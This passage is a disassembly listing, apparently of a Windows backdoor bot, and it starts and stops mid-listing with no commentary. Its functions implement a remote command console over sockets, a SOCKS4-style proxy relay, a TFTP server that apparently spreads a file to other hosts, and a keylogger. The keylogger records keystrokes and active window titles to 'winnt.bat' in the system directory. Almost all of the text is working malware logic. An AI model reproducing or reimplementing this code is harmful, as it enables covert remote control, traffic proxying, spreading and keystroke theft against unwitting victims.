byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_411B7C: ; CODE XREF: sub_411B63+39j ; sub_411B63+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4E4238 ; recv test eax, eax jle loc_411C81 cmp [ebp+var_10], ebx jbe short loc_411B9E dec [ebp+var_10] jmp short loc_411B7C ; --------------------------------------------------------------------------- loc_411B9E: ; CODE XREF: sub_411B63+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_411C61 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411C0E cmp al, 7Fh jz short loc_411C0E cmp al, 3 jnz short loc_411BC9 push ebx push ebx call ds:dword_4F6434 ; GenerateConsoleCtrlEvent jmp short loc_411C35 ; --------------------------------------------------------------------------- loc_411BC9: ; CODE XREF: sub_411B63+5Aj cmp al, 15h jnz short loc_411BEB xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411C21 ; --------------------------------------------------------------------------- loc_411BEB: ; CODE XREF: sub_411B63+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411C22 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411C21 ; --------------------------------------------------------------------------- loc_411C0E: ; CODE XREF: sub_411B63+52j ; sub_411B63+56j cmp esi, ebx jbe short loc_411C38 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411C21: ; CODE XREF: sub_411B63+86j ; sub_411B63+A9j pop ecx loc_411C22: ; CODE XREF: sub_411B63+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4E4270 ; send test eax, eax jle short loc_411C81 loc_411C35: ; CODE XREF: sub_411B63+64j mov al, byte ptr [ebp+arg_0+3] loc_411C38: ; CODE XREF: sub_411B63+ADj cmp al, 0Dh jnz loc_411B7C lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call ds:dword_4F63E8 ; WriteFile test eax, eax jz short loc_411C81 xor esi, esi jmp loc_411B7C ; --------------------------------------------------------------------------- loc_411C61: ; CODE XREF: sub_411B63+47j cmp [ebp+var_C], ebx jnz short loc_411C72 mov [ebp+var_C], 1 jmp loc_411B7C ; --------------------------------------------------------------------------- loc_411C72: ; CODE XREF: sub_411B63+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_411B7C ; --------------------------------------------------------------------------- loc_411C81: ; CODE XREF: sub_411B63+2Bj ; sub_411B63+D0j ... pop edi pop esi pop ebx leave retn sub_411B63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411C86 proc near ; DATA XREF: sub_401CC7+2C10o Source = byte ptr -2D4h var_D4 = dword ptr -0D4h Str = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_40] call dword_4E4220 ; htons push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call dword_4E42A0 ; socket mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_457134[eax], edi lea eax, [ebp+Dst] push eax push edi call dword_4E424C ; bind test eax, eax jnz loc_411E28 push 0Ah push edi call dword_4E4248 ; listen test eax, eax jnz loc_411E28 push [ebp+var_40] push [ebp+var_D4] call sub_40AFA9 pop ecx push eax lea eax, [ebp+Source] push offset asc_44C59C ; "-" push eax ; Dest call _sprintf add esp, 10h cmp [ebp+var_30], esi jnz short loc_411D61 push esi ; int lea eax, [ebp+Source] push [ebp+var_34] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_D4] ; int call sub_409D6C add esp, 14h loc_411D61: ; CODE XREF: sub_411C86+B9j ; sub_411C86+172j ... lea eax, [ebp+Source] push eax call sub_415C77 pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_4E42B4 ; accept push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_4E42AC ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_44C5C4 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 19h ; int push eax ; Source call sub_40B78E mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_45712C[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_411E8B push esi push esi call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_45713C[ecx], eax jz short loc_411E08 loc_411DF5: ; CODE XREF: sub_411C86+180j cmp [ebp+var_28], esi jnz loc_411D61 push 5 call ds:dword_4F6380 ; Sleep jmp short loc_411DF5 ; --------------------------------------------------------------------------- loc_411E08: ; CODE XREF: sub_411C86+16Dj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_44C608 ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp loc_411D61 ; --------------------------------------------------------------------------- loc_411E28: ; CODE XREF: sub_411C86+7Bj ; sub_411C86+8Cj push edi call dword_4E42B8 ; closesocket push [ebp+var_40] lea eax, [ebp+Source] push offset asc_44C644 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_411E6B push esi ; int lea eax, [ebp+Source] push [ebp+var_34] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_D4] ; int call sub_409D6C add esp, 14h loc_411E6B: ; CODE XREF: sub_411C86+1C3j lea eax, [ebp+Source] push eax call sub_415C77 push [ebp+var_3C] call sub_40BAAA pop ecx pop ecx push esi call ds:dword_4F63D4 ; ExitThread pop edi pop esi pop ebx sub_411C86 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411E8B proc near ; DATA XREF: sub_411C86+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh Dst = byte ptr -4C8h var_C8 = byte ptr -0C8h Str2 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_457134[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_4E4208 ; select test eax, eax jnz short loc_411F0C push dword ptr [esi] call dword_4E42B8 ; closesocket push [ebp+arg_0] call sub_40BAAA pop ecx push ebx call ds:dword_4F63D4 ; ExitThread loc_411F0C: ; CODE XREF: sub_411E8B+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_4E4238 ; recv test eax, eax jg short loc_411F3D push dword ptr [esi] call dword_4E42B8 ; closesocket push [ebp+arg_0] call sub_40BAAA pop ecx push ebx call ds:dword_4F63D4 ; ExitThread loc_411F3D: ; CODE XREF: sub_411E8B+98j cmp [ebp+var_4D0], 4 jnz loc_412137 cmp [ebp+var_4CF], 1 jnz loc_412137 cmp [ebp+Str2], bl jz short loc_411FD3 lea eax, [ebp+Str2] push eax ; Str2 lea eax, [ebp+Dst] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_411FD3 lea eax, [ebp+Str2] push eax lea eax, [ebp+Dst] push eax ; Args push offset dword_44C678 ; Format call sub_415CEB push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call _memset add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4E4270 ; send push dword ptr [esi] call dword_4E42B8 ; closesocket push [ebp+arg_0] call sub_40BAAA pop ecx push ebx call ds:dword_4F63D4 ; ExitThread loc_411FD3: ; CODE XREF: sub_411E8B+CFj ; sub_411E8B+E5j push 10h ; Size lea eax, [ebp+var_18] push ebx ; Val push eax ; Dst call _memset mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_4E42A0 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_41206B call dword_4E41B4 ; WSAGetLastError push eax ; Args push offset dword_44C6B8 ; Format call sub_415CEB push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call _memset add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4E4270 ; send push dword ptr [esi] call dword_4E42B8 ; closesocket push [ebp+arg_0] call sub_40BAAA pop ecx push ebx call ds:dword_4F63D4 ; ExitThread loc_41206B: ; CODE XREF: sub_411E8B+181j lea eax, [ebp+var_18] push 10h push eax push edi call dword_4E41C8 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4120DA call dword_4E41B4 ; WSAGetLastError push eax ; Args push offset dword_44C6F8 ; Format call sub_415CEB push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call _memset add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4E4270 ; send push dword ptr [esi] call dword_4E42B8 ; closesocket push [ebp+arg_0] call sub_40BAAA pop ecx push ebx call ds:dword_4F63D4 ; ExitThread loc_4120DA: ; CODE XREF: sub_411E8B+1F0j push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call _memset add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4E4270 ; send push dword ptr [esi] push edi call sub_41214F pop ecx pop ecx push edi call dword_4E42B8 ; closesocket push dword ptr [esi] call dword_4E42B8 ; closesocket push [ebp+arg_0] call sub_40BAAA pop ecx push ebx call ds:dword_4F63D4 ; ExitThread loc_412137: ; CODE XREF: sub_411E8B+B9j ; sub_411E8B+C6j push dword ptr [esi] call dword_4E42B8 ; closesocket push [ebp+arg_0] call sub_40BAAA pop ecx push ebx call ds:dword_4F63D4 ; ExitThread sub_411E8B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41214F proc near ; CODE XREF: sub_411E8B+286p Dst = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_412165: ; CODE XREF: sub_41214F+C5j ; sub_41214F+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_41217D: ; CODE XREF: sub_41214F+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_41218D inc ecx add eax, 4 cmp ecx, 1 jb short loc_41217D loc_41218D: ; CODE XREF: sub_41214F+33j cmp ecx, 1 jnz short loc_4121A2 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_4121A2: ; CODE XREF: sub_41214F+41j push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_4E4208 ; select lea eax, [ebp+var_104] push eax push ebx call dword_4E410C ; __WSAFDIsSet test eax, eax jz short loc_412202 push edi lea eax, [ebp+Dst] push esi push eax push ebx call dword_4E4238 ; recv cmp eax, 0FFFFFFFFh jz short loc_41224A push edi push eax lea eax, [ebp+Dst] push eax push [ebp+arg_0] call dword_4E4270 ; send cmp eax, 0FFFFFFFFh jz short loc_41224A loc_412202: ; CODE XREF: sub_41214F+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_4E410C ; __WSAFDIsSet test eax, eax jz loc_412165 push edi lea eax, [ebp+Dst] push esi push eax push [ebp+arg_0] call dword_4E4238 ; recv cmp eax, 0FFFFFFFFh jz short loc_41224A push edi push eax lea eax, [ebp+Dst] push eax push ebx call dword_4E4270 ; send cmp eax, 0FFFFFFFFh jnz loc_412165 loc_41224A: ; CODE XREF: sub_41214F+9Aj ; sub_41214F+B1j ... pop edi pop esi pop ebx leave retn sub_41214F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41224F proc near ; CODE XREF: sub_41224F:loc_4126C0p ; DATA XREF: sub_401CC7+20CDo ... var_87C = dword ptr -87Ch var_878 = dword ptr -878h var_778 = dword ptr -778h var_578 = byte ptr -578h var_577 = byte ptr -577h var_576 = byte ptr -576h var_575 = byte ptr -575h DstBuf = byte ptr -574h var_374 = dword ptr -374h Filename = byte ptr -370h Str = byte ptr -26Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = byte ptr -15Ch var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D0 = byte ptr -0D0h var_CF = byte ptr -0CFh var_CE = byte ptr -0CEh var_CD = byte ptr -0CDh Dest = byte ptr -50h var_3C = byte ptr -3Ch var_38 = dword ptr -38h Dst = word ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 File = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 87Ch mov edx, [ebp+arg_0] push ebx push esi push edi push 1 xor ebx, ebx pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_374] push ebx push 2 rep movsd inc [ebp+var_164] push 2 mov [ebp+var_10], eax mov [ebp+var_14], eax mov [ebp+var_8], eax mov [edx+2A0h], eax call dword_4E42A0 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4122EF push 190h call ds:dword_4F6380 ; Sleep cmp [ebp+var_D8], ebx jnz short loc_4122CF push ebx ; int lea eax, [ebp+var_778] push [ebp+var_DC] ; int push eax ; int lea eax, [ebp+var_15C] push eax ; Str push [ebp+var_374] ; int call sub_409D6C add esp, 14h loc_4122CF: ; CODE XREF: sub_41224F+5Bj lea eax, [ebp+var_778] push eax call sub_415C77 push [ebp+var_168] call sub_40BAAA pop ecx pop ecx push ebx call ds:dword_4F63D4 ; ExitThread loc_4122EF: ; CODE XREF: sub_41224F+48j lea eax, [ebp+var_10] push 4 push eax mov edi, 0FFFFh push 4 push edi push esi call dword_4E4200 ; setsockopt lea eax, [ebp+var_14] push 4 push eax push 0FFFFFFFBh push edi push esi call dword_4E4200 ; setsockopt mov eax, [ebp+var_168] push 10h ; Size imul eax, 234h push ebx ; Val mov dword_457134[eax], esi lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_160] call dword_4E4220 ; htons mov [ebp+var_2A], ax lea eax, [ebp+Dst] push 10h push eax push esi mov [ebp+var_28], ebx call dword_4E424C ; bind cmp eax, 0FFFFFFFFh jnz short loc_412379 push 1388h call ds:dword_4F6380 ; Sleep dec [ebp+var_164] push [ebp+arg_0] jmp loc_4126C0 ; --------------------------------------------------------------------------- loc_412379: ; CODE XREF: sub_41224F+10Fj lea eax, [ebp+Filename] push offset aRb_0 ; "rb" push eax ; Filename call _fopen pop ecx cmp eax, ebx pop ecx mov [ebp+File], eax jnz short loc_4123DF push 190h call ds:dword_4F6380 ; Sleep push ebx ; int lea eax, [ebp+var_778] push [ebp+var_DC] ; int push eax ; int lea eax, [ebp+var_15C] push eax ; Str push [ebp+var_374] ; int call sub_409D6C lea eax, [ebp+var_778] push eax call sub_415C77 push [ebp+var_168] call sub_40BAAA add esp, 1Ch push ebx call ds:dword_4F63D4 ; ExitThread loc_4123DF: ; CODE XREF: sub_41224F+142j ; sub_41224F+42Bj mov edi, [ebp+arg_0] cmp [edi+2A0h], ebx jz loc_412683 mov edi, 80h lea eax, [ebp+var_D0] push edi ; Size push ebx ; Val push eax ; Dst mov [ebp+var_1C], 5 mov [ebp+var_18], 1388h mov [ebp+var_878], esi mov [ebp+var_87C], 1 call _memset add esp, 0Ch lea eax, [ebp+var_1C] push eax push ebx lea eax, [ebp+var_87C] push ebx push eax push ebx call dword_4E4208 ; select test eax, eax jle loc_412677 mov al, byte_4E6FCC mov ecx, edi mov [ebp+var_578], al xor eax, eax lea edi, [ebp+var_577] mov [ebp+var_C], 10h rep stosd stosw stosb lea eax, [ebp+var_C] push eax lea eax, [ebp+var_3C] push eax push ebx lea eax, [ebp+var_D0] push 80h push eax push esi call dword_4E41F8 ; recvfrom push [ebp+var_38] mov [ebp+var_8], eax call dword_4E42AC ; inet_ntoa push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf cmp [ebp+var_D0], bl pop ecx pop ecx jnz loc_412661 cmp [ebp+var_CF], 1 jnz loc_412567 lea eax, [ebp+Str] push eax ; Str call _strlen push ebx ; Origin push ebx ; Offset push [ebp+File] ; File call _fseek push [ebp+File] ; File lea eax, [ebp+DstBuf] mov [ebp+var_578], bl mov [ebp+var_577], 3 push 200h ; Count push 1 ; ElementSize push eax ; DstBuf mov [ebp+var_576], bl mov [ebp+var_575], 1 call sub_41EFA0 add esp, 20h lea ecx, [ebp+var_3C] mov [ebp+var_8], eax add eax, 4 push [ebp+var_C] push ecx push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4E4284 ; sendto lea eax, [ebp+Dest] push eax lea eax, [ebp+var_778] push offset aTftpTransferSt ; "Tftp transfer started to: %s" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_412555 push ebx ; int lea eax, [ebp+var_778] push [ebp+var_DC] ; int push eax ; int lea eax, [ebp+var_15C] push eax ; Str push [ebp+var_374] ; int call sub_409D6C add esp, 14h loc_412555: ; CODE XREF: sub_41224F+2E1j lea eax, [ebp+var_778] push eax call sub_415C77 pop ecx jmp loc_412677 ; --------------------------------------------------------------------------- loc_412567: ; CODE XREF: sub_41224F+257j cmp [ebp+var_CF], 4 jnz loc_412661 mov cl, [ebp+var_CD] mov al, [ebp+var_CE] cmp cl, 0FFh mov [ebp+var_578], bl mov [ebp+var_577], 3 jnz short loc_4125A4 inc al xor cl, cl mov [ebp+var_576], al mov [ebp+var_575], bl jmp short loc_4125B2 ; --------------------------------------------------------------------------- loc_4125A4: ; CODE XREF: sub_41224F+341j inc cl mov [ebp+var_576], al mov [ebp+var_575], cl loc_4125B2: ; CODE XREF: sub_41224F+353j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx mov edi, 200h shl eax, 9 sub eax, edi push ebx ; Origin push eax ; Offset push [ebp+File] ; File call _fseek push [ebp+File] ; File lea eax, [ebp+DstBuf] push edi ; Count push 1 ; ElementSize push eax ; DstBuf call sub_41EFA0 add esp, 1Ch mov edi, eax lea eax, [ebp+var_3C] mov [ebp+var_8], edi push [ebp+var_C] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4E4284 ; sendto cmp edi, ebx jnz short loc_412677 lea eax, [ebp+Dest] push eax lea eax, [ebp+var_778] push offset aTftpTransferCo ; "Tftp transfer complete to: %s" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_41264C push ebx ; int lea eax, [ebp+var_778] push [ebp+var_DC] ; int push eax ; int lea eax, [ebp+var_15C] push eax ; Str push [ebp+var_374] ; int call sub_409D6C add esp, 14h loc_41264C: ; CODE XREF: sub_41224F+3D8j lea eax, [ebp+var_778] push eax call sub_415C77 inc dword_4E6D3C pop ecx jmp short loc_412677 ; --------------------------------------------------------------------------- loc_412661: ; CODE XREF: sub_41224F+24Aj ; sub_41224F+31Fj push [ebp+var_C] lea eax, [ebp+var_3C] push eax push ebx push 9 push offset dword_44C788 push esi call dword_4E4284 ; sendto loc_412677: ; CODE XREF: sub_41224F+1E9j ; sub_41224F+313j ... cmp [ebp+var_8], ebx jg loc_4123DF mov edi, [ebp+arg_0] loc_412683: ; CODE XREF: sub_41224F+199j push esi call dword_4E42B8 ; closesocket push [ebp+File] ; File call _fclose dec [ebp+var_164] cmp [edi+2A0h], ebx pop ecx jnz short loc_4126B4 push [ebp+var_168] call sub_40BAAA pop ecx push ebx call ds:dword_4F63D4 ; ExitThread loc_4126B4: ; CODE XREF: sub_41224F+450j push 3E8h call ds:dword_4F6380 ; Sleep push edi loc_4126C0: ; CODE XREF: sub_41224F+125j call sub_41224F pop edi pop esi pop ebx leave retn 4 sub_41224F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4126CC(int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) sub_4126CC proc near ; CODE XREF: sub_4127AD+B4p ; sub_4127AD+253p Dest = byte ptr -314h Filename = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Str = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax call ds:dword_4F6438 ; GetLocalTime lea eax, [ebp+Filename] push 104h push eax call ds:dword_4F637C ; GetSystemDirectoryA lea eax, [ebp+Filename] push offset asc_44CF04 ; "\\" push eax ; Dest call _strcat lea eax, [ebp+Filename] push offset aWinnt_bat ; "winnt.bat" push eax ; Dest call _strcat lea eax, [ebp+Filename] push offset aAb ; "ab" push eax ; Filename call _fopen mov esi, eax add esp, 18h test esi, esi jnz short loc_412733 push 1 pop eax jmp short loc_4127AA ; --------------------------------------------------------------------------- loc_412733: ; CODE XREF: sub_4126CC+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi ; File call _fprintf push esi ; File call _fclose add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_4127A8 push [ebp+arg_0] lea eax, [ebp+Dest] push offset asc_44CF28 ; "-" push 200h ; Count push eax ; Dest call __snprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 24h loc_4127A8: ; CODE XREF: sub_4126CC+A3j xor eax, eax loc_4127AA: ; CODE XREF: sub_4126CC+65j pop esi leave retn sub_4126CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127AD proc near ; DATA XREF: sub_401CC7+4580o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h Dest = byte ptr -4DCh var_2DD = byte ptr -2DDh Dst = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_4E41A4 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_4E41BC ; GetWindowTextA mov ebx, 200h loc_412808: ; CODE XREF: sub_4127AD+2C7j push 8 call ds:dword_4F6380 ; Sleep call dword_4E41A4 ; GetForegroundWindow cmp eax, [ebp+var_8] jz short loc_412890 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_4E41BC ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+Dst] push eax ; int lea eax, [ebp+Dest] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax ; int call _sprintf sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+Dest] push 25h pop ecx mov edi, esp push eax ; int rep movsd call sub_4126CC mov [ebp+var_4], eax push ebx ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0A4h lea eax, [ebp+Dest] push ebx ; Size push 0 ; Val push eax ; Dst call _memset add esp, 0Ch loc_412890: ; CODE XREF: sub_4127AD+6Cj mov [ebp+arg_0], offset dword_44C79C loc_412897: ; CODE XREF: sub_4127AD+2BDj push 10h call dword_4E40F4 ; GetKeyState movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_4E41EC ; GetAsyncKeyState test ah, 80h jz short loc_41292F push 14h call dword_4E40F4 ; GetKeyState test ax, ax jz short loc_4128E0 cmp esi, 0FFFFFFFFh jle short loc_4128E0 cmp edi, 40h jle short loc_4128E0 cmp edi, 5Bh jge short loc_4128E0 mov [ebp+edi*4+var_8DC], 1 jmp loc_412A5F ; --------------------------------------------------------------------------- loc_4128E0: ; CODE XREF: sub_4127AD+112j ; sub_4127AD+117j ... push 14h call dword_4E40F4 ; GetKeyState test ax, ax jz short loc_41290B test esi, esi jge short loc_41291F cmp edi, 40h jle short loc_41290B cmp edi, 5Bh jge short loc_41290B mov [ebp+edi*4+var_8DC], 2 jmp loc_412A5F ; --------------------------------------------------------------------------- loc_41290B: ; CODE XREF: sub_4127AD+13Ej ; sub_4127AD+147j ... test esi, esi jge short loc_41291F mov [ebp+edi*4+var_8DC], 3 jmp loc_412A5F ; --------------------------------------------------------------------------- loc_41291F: ; CODE XREF: sub_4127AD+142j ; sub_4127AD+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_412A5F ; --------------------------------------------------------------------------- loc_41292F: ; CODE XREF: sub_4127AD+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_412A5F and dword ptr [eax], 0 lea eax, [ebp+Dst] cmp edi, 8 push eax ; Str jnz short loc_412967 call _strlen and [ebp+eax+var_2DD], 0 pop ecx jmp loc_412A5F ; --------------------------------------------------------------------------- loc_412967: ; CODE XREF: sub_4127AD+1A5j call _strlen cmp eax, 1B9h pop ecx jbe short loc_412999 call dword_4E41A4 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_4E41BC ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+Dst] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_4129DA ; --------------------------------------------------------------------------- loc_412999: ; CODE XREF: sub_4127AD+1C5j cmp edi, 0Dh jnz loc_412A31 lea eax, [ebp+Dst] push eax ; Str call _strlen test eax, eax pop ecx jz loc_412A5F call dword_4E41A4 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_4E41BC ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+Dst] push eax ; int push offset aSReturnS ; "%s (Return) (%s)" loc_4129DA: ; CODE XREF: sub_4127AD+1EAj lea eax, [ebp+Dest] push eax ; int call _sprintf sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+Dest] push 25h pop ecx mov edi, esp push eax ; int rep movsd call sub_4126CC mov [ebp+var_4], eax push ebx ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0A4h lea eax, [ebp+Dest] push ebx ; Size push 0 ; Val push eax ; Dst call _memset add esp, 0Ch jmp short loc_412A5F ; 